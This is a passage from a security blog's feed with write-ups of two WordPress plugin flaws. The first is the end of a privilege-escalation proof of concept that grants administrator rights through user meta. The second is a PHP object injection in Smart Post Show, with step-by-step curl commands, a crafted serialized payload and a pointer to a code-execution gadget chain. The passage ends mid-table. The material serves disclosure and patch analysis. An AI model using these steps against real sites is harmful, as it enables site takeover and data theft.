        \&quot;meta_key\&quot;: \&quot;wp_capabilities\&quot;,
        \&quot;meta_value\&quot;: {\&quot;administrator\&quot;: true}
      }
    ]
  }&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful response will contain no errors and will reflect the updated user meta including the administrator capability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Log in as administrator&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Navigate to &lt;code&gt;/wp-login.php&lt;/code&gt; and log in with the credentials of the user whose ID was used in Step 5. The account now has full administrator privileges.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The target account is promoted to WordPress administrator. From there, the attacker has full site control: install or remove plugins, create backdoor accounts, read all WooCommerce orders and inventory, and execute arbitrary PHP by uploading a malicious plugin or theme.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After Step 5, verify via WordPress database or admin panel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- Check wp_capabilities for the target user
SELECT meta_value FROM wp_usermeta
WHERE user_id = TARGET_UID
AND meta_key = &apos;wp_capabilities&apos;;
-- Should show: a:1:{s:13:&quot;administrator&quot;;b:1;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or navigate to &lt;code&gt;/wp-admin/users.php&lt;/code&gt; while logged in as the escalated account — the full admin panel should be accessible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/API/classes/Users.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removed base64 user-ID spoofing from &lt;code&gt;getUserId()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/API/classes/Auth.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removed base64 user-ID spoofing from &lt;code&gt;getUserId()&lt;/code&gt; and &lt;code&gt;check()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/API/actions/UsersActions.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added meta-key allowlist; changed &lt;code&gt;userId&lt;/code&gt; source from POST body to token-derived identity&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Removal of base64 token spoofing (&lt;code&gt;Users.php&lt;/code&gt; and &lt;code&gt;Auth.php&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the patched version, &lt;code&gt;Users::getUserId()&lt;/code&gt; no longer tries to decode a token as a base64 user ID. The entire &lt;code&gt;if (preg_match(&quot;/^([0-9]+)/&quot;, @base64_decode($token), $m))&lt;/code&gt; block is removed. Token resolution now only does a database lookup against &lt;code&gt;barcode_scanner_app_otp&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// PATCHED — Users.php
$metaApp = $wpdb-&amp;gt;get_row($wpdb-&amp;gt;prepare(
    &quot;SELECT * FROM {$wpdb-&amp;gt;usermeta} WHERE meta_key = &apos;barcode_scanner_app_otp&apos; AND meta_value = %s;&quot;,
    $token
));
$userId = $metaApp ? $metaApp-&amp;gt;user_id : $userId;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same base64 spoofing path is also removed from &lt;code&gt;Auth::getUserId()&lt;/code&gt; and &lt;code&gt;Auth::check()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Meta-key allowlist and ownership enforcement in &lt;code&gt;setUserMeta&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// PATCHED — UsersActions.php
public function setUserMeta(WP_REST_Request $request)
{
    $userId = Users::getUserId($request);   // Derived from authenticated token, not POST body
    $fields = $request-&amp;gt;get_param(&quot;fields&quot;);
    $errors = array();

    try {
        $available = array(&apos;usbs_search_input_type&apos;, &apos;orderFulfillmentByDefault&apos;);  // Allowlist

        foreach ($fields as $field) {
            if (in_array($field[&apos;meta_key&apos;], $available)) {   // Enforced allowlist
                \update_user_meta($userId, $field[&apos;meta_key&apos;], $field[&apos;meta_value&apos;]);
            }
        }
    } catch (\Throwable $th) {
        $errors[] = $th-&amp;gt;getMessage();
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both defenses work together:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ownership&lt;/strong&gt;: &lt;code&gt;$userId&lt;/code&gt; is now derived from &lt;code&gt;Users::getUserId($request)&lt;/code&gt; — the authenticated user&apos;s token — rather than an attacker-supplied POST parameter. A user can only update their own meta.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Allowlist&lt;/strong&gt;: Only &lt;code&gt;usbs_search_input_type&lt;/code&gt; and &lt;code&gt;orderFulfillmentByDefault&lt;/code&gt; are accepted. Writing to &lt;code&gt;wp_capabilities&lt;/code&gt;, &lt;code&gt;wp_user_level&lt;/code&gt;, or any other sensitive key is blocked.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Is the fix complete?&lt;/strong&gt; Yes, for the privilege-escalation vector. The &lt;code&gt;barcodeScannerConfigs&lt;/code&gt; endpoint still exposes &lt;code&gt;utoken&lt;/code&gt; in its response — this is by design for the mobile app. But with base64 spoofing removed, an attacker can no longer forge a user ID to get another user&apos;s token.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/src/API/classes/Users.php
+++ b/src/API/classes/Users.php
@@ -37,14 +37,8 @@ class Users
         if (!$userId &amp;amp;&amp;amp; $token) {
             try {
-                if (preg_match(&quot;/^([0-9]+)/&quot;, @base64_decode($token), $m)) {
-                    if ($m &amp;amp;&amp;amp; count($m) &amp;gt; 0 &amp;amp;&amp;amp; is_numeric($m[0])) {
-                        $userId = $m[0];
-                    }
-                } else {
-                    $meta = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM {$wpdb-&amp;gt;usermeta} WHERE meta_key = &apos;barcode_scanner_app_otp&apos; AND meta_value = &apos;{$token}&apos;;&quot;);
-                    $userId = $meta ? $meta-&amp;gt;user_id : $userId;
-                }
+                $metaApp = $wpdb-&amp;gt;get_row($wpdb-&amp;gt;prepare(&quot;SELECT * FROM {$wpdb-&amp;gt;usermeta} WHERE meta_key = &apos;barcode_scanner_app_otp&apos; AND meta_value = %s;&quot;, $token));
+                $userId = $metaApp ? $metaApp-&amp;gt;user_id : $userId;
             } catch (\Throwable $th) {}
         }

--- a/src/API/actions/UsersActions.php
+++ b/src/API/actions/UsersActions.php
@@ -339,10 +339,15 @@ class UsersActions
-    public function setUserMeta(WP_REST_Request $request) {
-        $userId = $request-&amp;gt;get_param(&quot;userId&quot;);
+    public function setUserMeta(WP_REST_Request $request)
+    {
+        $userId = Users::getUserId($request);
         $fields = $request-&amp;gt;get_param(&quot;fields&quot;);
         $errors = array();

         try {
+            $available = array(&apos;usbs_search_input_type&apos;, &apos;orderFulfillmentByDefault&apos;);
+
             foreach ($fields as $field) {
-                \update_user_meta($userId, $field[&apos;meta_key&apos;], $field[&apos;meta_value&apos;]);
+                if (in_array($field[&apos;meta_key&apos;], $available)) {
+                    \update_user_meta($userId, $field[&apos;meta_key&apos;], $field[&apos;meta_value&apos;]);
+                }
             }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 15, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 15, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.12.0 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;barcode-scanner-lite-pos-to-manage-products-inventory-and-orders&lt;/code&gt; plugin to version &lt;strong&gt;1.12.0&lt;/strong&gt; or later.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/trunk/src/Core.php?rev=3391688#L498&quot;&gt;plugins.trac.wordpress.org — Vulnerable code (Core.php line 498, rev 3391688)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3506824/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders#file30&quot;&gt;plugins.trac.wordpress.org — Fix changeset 3506824&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/barcode-scanner-mobile-app-1110-unauthenticated-privilege-escalation-via-insecure-token-authentication&quot;&gt;Wordfence Vulnerability Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4880&quot;&gt;CVE-2026-4880 on NVD&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-15T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3017: PHP Object Injection in Smart Post Show</title><link>https://hurayraiit.com/blog/cve-2026-3017-php-object-injection-smart-post-show/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3017-php-object-injection-smart-post-show/</guid><description>CVE-2026-3017 is a CVSS 7.2 PHP Object Injection in Smart Post Show (&lt;=3.0.12), letting authenticated admins inject PHP objects and chain a POP for RCE.</description><pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3017&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; PHP Object Injection vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/post-carousel/&quot;&gt;Smart Post Show – Post Grid, Post Carousel &amp;amp; Slider, and List Category Posts&lt;/a&gt; WordPress plugin. An authenticated attacker with Administrator-level access can inject a PHP object through the plugin&apos;s shortcode import feature. If a POP chain — a sequence of existing code that attackers chain together to run malicious actions — exists in any other installed plugin or theme, this vulnerability can be used to delete arbitrary files, retrieve sensitive data, or execute arbitrary code.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Smart Post Show – Post Grid, Post Carousel &amp;amp; Slider, and List Category Posts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;post-carousel&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3017&quot;&gt;CVE-2026-3017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PHP Object Injection via Deserialization of Untrusted Data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/post-carousel.3.0.12.zip&quot;&gt;&amp;lt;= 3.0.12&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/post-carousel.3.0.13.zip&quot;&gt;3.0.13&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/vilaysone-chanthavong/&quot;&gt;Vilaysone CHANTHAVONG (0xJ0cKkY) — Cyberus Technologies&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/post-carousel/smart-post-show-post-grid-post-carousel-slider-and-list-category-posts-3012-authenticated-administrator-php-object-injection&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Smart Post Show plugin for WordPress is vulnerable to PHP Object Injection in all versions up to and including 3.0.12. The flaw lives in the &lt;code&gt;import_shortcodes()&lt;/code&gt; function, which deserializes untrusted input without restricting what PHP classes can be instantiated. This makes it possible for authenticated attackers with Administrator-level access to inject a PHP object. No POP chain exists inside the vulnerable plugin itself, so this vulnerability has no impact on its own. If a POP chain is installed through another plugin or theme, however, an attacker can use it to delete arbitrary files, retrieve sensitive data, or execute code on the server.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability is triggered through the plugin&apos;s shortcode import feature. The full execution path is:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Hook Registration&lt;/strong&gt; (&lt;code&gt;includes/class-smart-post-show.php&lt;/code&gt;, line 226)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$this-&amp;gt;loader-&amp;gt;add_action( &apos;wp_ajax_pcp_import_shortcodes&apos;, $import_export, &apos;import_shortcodes&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This registers the &lt;code&gt;pcp_import_shortcodes&lt;/code&gt; WordPress admin-AJAX action, reachable at &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt; for authenticated users only (no &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; counterpart).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;import_shortcodes()&lt;/code&gt; AJAX Handler&lt;/strong&gt; (&lt;code&gt;includes/class-smart-post-show-import-export.php&lt;/code&gt;, lines 186–247)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function import_shortcodes() {
    // Verify nonce.
    $nonce = ( ! empty( $_POST[&apos;nonce&apos;] ) ) ? sanitize_text_field( wp_unslash( $_POST[&apos;nonce&apos;] ) ) : &apos;&apos;;
    if ( ! wp_verify_nonce( $nonce, &apos;spf_options_nonce&apos; ) ) {
        wp_send_json_error( ... , 401 );
    }

    // Check user capabilities.
    $_capability = apply_filters( &apos;sp_post_carousel_import_export_user_capability&apos;, &apos;manage_options&apos; );
    if ( ! current_user_can( $_capability ) ) {
        wp_send_json_error( ... );
    }

    // Get and validate input data.
    $data = isset( $_POST[&apos;shortcode&apos;] ) ? sanitize_text_field( wp_unslash( $_POST[&apos;shortcode&apos;] ) ) : &apos;&apos;;

    // Decode JSON — handles single and double-encoded JSON.
    $decoded_data = json_decode( $data, true );
    if ( is_string( $decoded_data ) ) {
        $decoded_data = json_decode( $decoded_data, true );
    }

    // Sanitize each string value in the decoded array.
    $shortcodes = map_deep(
        $decoded_data[&apos;shortcode&apos;],
        function ( $value ) {
            return is_string( $value ) ? sanitize_text_field( $value ) : $value;
        }
    );

    $status = $this-&amp;gt;import( $shortcodes );  // &amp;lt;-- passes to import()
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;import()&lt;/code&gt; — The Vulnerable Call&lt;/strong&gt; (&lt;code&gt;includes/class-smart-post-show-import-export.php&lt;/code&gt;, lines 127–179, &lt;strong&gt;key line: 151&lt;/strong&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function import( $shortcodes ) {
    foreach ( $shortcodes as $index =&amp;gt; $shortcode ) {
        ...
        if ( isset( $shortcode[&apos;meta&apos;] ) &amp;amp;&amp;amp; is_array( $shortcode[&apos;meta&apos;] ) ) {
            foreach ( $shortcode[&apos;meta&apos;] as $key =&amp;gt; $value ) {
                $meta_key = sanitize_key( $key );

                // VULNERABLE LINE:
                $meta_value = maybe_unserialize( str_replace( &apos;{#ID#}&apos;, $new_shortcode_id, $value ) );
                //             ^^^^^^^^^^^^^^^^
                // maybe_unserialize() calls PHP&apos;s unserialize() with NO class restrictions.
                // If $value is a PHP-serialized object string, this instantiates the object.

                update_post_meta( $new_shortcode_id, $meta_key, $meta_value );
            }
        }
        ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Frontend Nonce Exposure&lt;/strong&gt; (&lt;code&gt;admin/views/sp-framework/assets/js/spf.js&lt;/code&gt;, lines 2162–2196)&lt;/p&gt;
&lt;p&gt;The JavaScript reads the nonce from a hidden input field and sends it to the AJAX endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$(&apos;.pcp_import button.import&apos;).on(&apos;click&apos;, function (event) {
    var $im_nonce = $(&apos;#spf_options_noncesp_post_carousel_tools&apos;).val();
    var reader = new FileReader();
    reader.readAsText(pcp_shortcodes);
    reader.onload = function (event) {
        var jsonObj = JSON.stringify(event.target.result); // double-encode file contents
        $.ajax({
            url: ajaxurl,
            type: &apos;POST&apos;,
            data: {
                shortcode: jsonObj,
                action: &apos;pcp_import_shortcodes&apos;,
                nonce: $im_nonce,
            },
            ...
        });
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The nonce &lt;code&gt;spf_options_noncesp_post_carousel_tools&lt;/code&gt; is rendered as a hidden &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; on the plugin&apos;s &lt;strong&gt;Tools&lt;/strong&gt; admin page (&lt;code&gt;wp-admin/admin.php?page=pcp_tools&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// options.class.php, line 772
wp_nonce_field( &apos;spf_options_nonce&apos;, &apos;spf_options_nonce&apos; . $this-&amp;gt;unique );
// $this-&amp;gt;unique = &apos;sp_post_carousel_tools&apos; for the Tools page
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is the use of &lt;code&gt;maybe_unserialize()&lt;/code&gt; on attacker-controlled data without restricting instantiable classes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// VULNERABLE (3.0.12)
$meta_value = maybe_unserialize( str_replace( &apos;{#ID#}&apos;, $new_shortcode_id, $value ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WordPress&apos;s &lt;code&gt;maybe_unserialize()&lt;/code&gt; calls PHP&apos;s &lt;code&gt;unserialize()&lt;/code&gt; with no class restrictions. Any class loaded in memory can be instantiated from a crafted serialized string. This allows an attacker to trigger magic methods (&lt;code&gt;__destruct&lt;/code&gt;, &lt;code&gt;__wakeup&lt;/code&gt;, &lt;code&gt;__toString&lt;/code&gt;, etc.) in any installed plugin or theme that provides a usable POP chain.&lt;/p&gt;
&lt;h3&gt;Failure of Existing Controls&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;import_shortcodes()&lt;/code&gt; function applies &lt;code&gt;sanitize_text_field()&lt;/code&gt; to the incoming POST data twice:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Once on the entire raw JSON string (line 200) before JSON-decoding it.&lt;/li&gt;
&lt;li&gt;Once on each string value inside the decoded array, via &lt;code&gt;map_deep()&lt;/code&gt; (lines 229–234).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; does NOT prevent PHP Object Injection.&lt;/strong&gt; The function removes HTML tags, strips null bytes, and normalizes whitespace. PHP serialized strings (e.g., &lt;code&gt;O:9:&quot;SomeClass&quot;:1:{s:4:&quot;prop&quot;;s:3:&quot;foo&quot;;}&lt;/code&gt;) contain no HTML tags and survive sanitization completely intact.&lt;/p&gt;
&lt;p&gt;The nonce and capability checks did not help here. This is an &lt;em&gt;authenticated&lt;/em&gt; vulnerability — an Administrator can simply visit the Tools page to get a valid nonce.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An authenticated attacker with Administrator-level access can inject a PHP object of any class loaded in the WordPress runtime. On its own (with no POP chain present), the impact is limited. However, if another installed plugin or theme provides a usable POP chain, the attacker can chain it to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Delete arbitrary files&lt;/strong&gt; on the server&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Retrieve sensitive data&lt;/strong&gt; (credentials, private keys, configuration files)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execute arbitrary PHP/OS code&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most WordPress sites run multiple plugins, so the real-world risk is higher than the standalone score suggests.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;post-carousel&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.0.12&lt;/li&gt;
&lt;li&gt;Valid WordPress Administrator account credentials&lt;/li&gt;
&lt;li&gt;(Optional for chained RCE) A second plugin/theme present that provides a suitable POP chain&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Authenticate and retrieve cookies + nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in to WordPress as an Administrator and navigate to the plugin&apos;s Tools page to retrieve the nonce:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://your-wordpress-site.local&quot;

# Log in and save the session cookie
curl -c /tmp/wp-cookies.txt -s -X POST &quot;${TARGET}/wp-login.php&quot; \
  -d &quot;log=admin&amp;amp;pwd=admin_password&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=%2Fwp-admin%2F&amp;amp;testcookie=1&quot; \
  -H &quot;Cookie: wordpress_test_cookie=WP+Cookie+check&quot; \
  -L -o /dev/null

echo &quot;Logged in. Cookies saved to /tmp/wp-cookies.txt&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Extract the nonce from the Tools admin page&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Fetch the Smart Post Show Tools page and extract the nonce
NONCE=$(curl -s -b /tmp/wp-cookies.txt \
  &quot;${TARGET}/wp-admin/admin.php?page=pcp_tools&quot; \
  | grep -oP &apos;(?&amp;lt;=id=&quot;spf_options_noncesp_post_carousel_tools&quot; value=&quot;)[^&quot;]+&apos;)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Craft a malicious import JSON payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create a file &lt;code&gt;/tmp/malicious-import.json&lt;/code&gt; with a PHP serialized object as a meta value. The payload below uses a generic &lt;code&gt;stdClass&lt;/code&gt; object for demonstration. Real exploitation requires a POP chain in an installed plugin or theme.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;gt; /tmp/malicious-import.json &amp;lt;&amp;lt; &apos;EOF&apos;
{
  &quot;shortcode&quot;: [
    {
      &quot;title&quot;: &quot;Injected Post&quot;,
      &quot;original_id&quot;: 1,
      &quot;meta&quot;: {
        &quot;_sps_shortcode_options&quot;: &quot;O:8:\&quot;stdClass\&quot;:1:{s:4:\&quot;test\&quot;;s:36:\&quot;PHP Object Injection - CVE-2026-3017\&quot;;}&quot;
      }
    }
  ],
  &quot;metadata&quot;: {
    &quot;version&quot;: &quot;3.0.12&quot;,
    &quot;date&quot;: &quot;2026/04/13&quot;
  }
}
EOF

echo &quot;Malicious payload ready at /tmp/malicious-import.json&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To chain a real POP attack, replace the &lt;code&gt;O:8:\&quot;stdClass\&quot;:...&lt;/code&gt; value with a serialized gadget payload present on the target system. For example, if the &lt;code&gt;Monolog&lt;/code&gt; library is available, a &lt;code&gt;Monolog\Handler\SyslogUdpHandler&lt;/code&gt; chain can execute arbitrary code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Deliver the payload via the AJAX endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The JavaScript double-encodes the file contents via &lt;code&gt;JSON.stringify()&lt;/code&gt;. Replicate this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Double-encode: the shortcode POST param is a JSON string of the file contents
PAYLOAD=$(cat /tmp/malicious-import.json | python3 -c &quot;import sys,json; print(json.dumps(sys.stdin.read()))&quot;)

curl -s -b /tmp/wp-cookies.txt \
  -X POST &quot;${TARGET}/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=pcp_import_shortcodes&quot; \
  --data-urlencode &quot;nonce=${NONCE}&quot; \
  --data-urlencode &quot;shortcode=${PAYLOAD}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Verify the injected post was created&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Check WordPress posts for the injected entry
curl -s -b /tmp/wp-cookies.txt \
  &quot;${TARGET}/wp-admin/edit.php?post_type=sp_post_carousel&quot; \
  | grep &quot;Injected Post&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the response contains &quot;Injected Post&quot;, the AJAX handler successfully processed the payload — including running &lt;code&gt;maybe_unserialize()&lt;/code&gt; on the attacker-controlled meta value.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The AJAX handler returns &lt;code&gt;{&quot;success&quot;:true}&lt;/code&gt;. WordPress creates a new &lt;code&gt;sp_post_carousel&lt;/code&gt; post with its meta set to the deserialized value of the attacker-controlled string. If a POP chain is available, PHP triggers the target class&apos;s &lt;code&gt;__destruct&lt;/code&gt; or &lt;code&gt;__wakeup&lt;/code&gt; method during deserialization — executing the chained payload.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;In the WordPress admin, navigate to Smart Post Show → All Post Shows — an &quot;Injected Post&quot; entry will be visible.&lt;/li&gt;
&lt;li&gt;Use WP-CLI or direct DB access to inspect the injected meta: &lt;code&gt;wp post meta list &amp;lt;post_id&amp;gt; --allow-root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;With a live POP chain, observe the side effect (e.g., a new file created, a network request logged, or command output returned).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only one file contains the security-relevant change:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
